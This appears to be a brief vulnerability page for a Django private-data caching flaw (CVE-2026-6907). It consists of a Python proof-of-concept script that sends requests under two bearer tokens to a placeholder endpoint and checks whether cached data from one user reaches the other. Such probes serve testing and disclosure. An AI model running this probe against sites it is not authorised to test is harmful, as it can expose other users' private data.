CVE-2026-6907 Django私有数据缓存漏洞

import requests # Conceptual Proof of Concept for CVE-2026-6907 # This script demonstrates checking for private data leakage via caching. target_url = "http://vulnerable-django-app/api/user/profile" # Step 1: Simulate a request from User A that triggers caching with Vary: * # The server responds with User A's private data and sets Vary: * print("[*] Step 1: Sending request as User A (authenticated)...") headers_user_a = { "Authorization": "Bearer token_user_a_secret", "User-Agent": "PoC-Scanner" } response_a = requests.get(target_url, headers=headers_user_a) print(f" Status: {response_a.status_code}") print(f" Vary Header: {response_a.headers.get('Vary')}") print(f" Content Snippet: {response_a.text[:100]}") # Step 2: Simulate a request from User B (or anonymous) to the same URL # If the vulnerability exists, the cache serves User A's data to User B print("\n[*] Step 2: Sending request as User B (different context)...") headers_user_b = { "Authorization": "Bearer token_user_b_public", # Different token "User-Agent": "PoC-Scanner" } response_b = requests.get(target_url, headers=headers_user_b) print(f" Status: {response_b.status_code}") print(f" Content Snippet: {response_b.text[:100]}") # Step 3: Verify data leakage if "token_user_a_secret" in response_b.text or "private_data_of_a" in response_b.text: print("\n[!] Vulnerability Confirmed: Private data from User A leaked to User B via cache.") else: print("\n[+] Vulnerability not reproduced or target is patched.")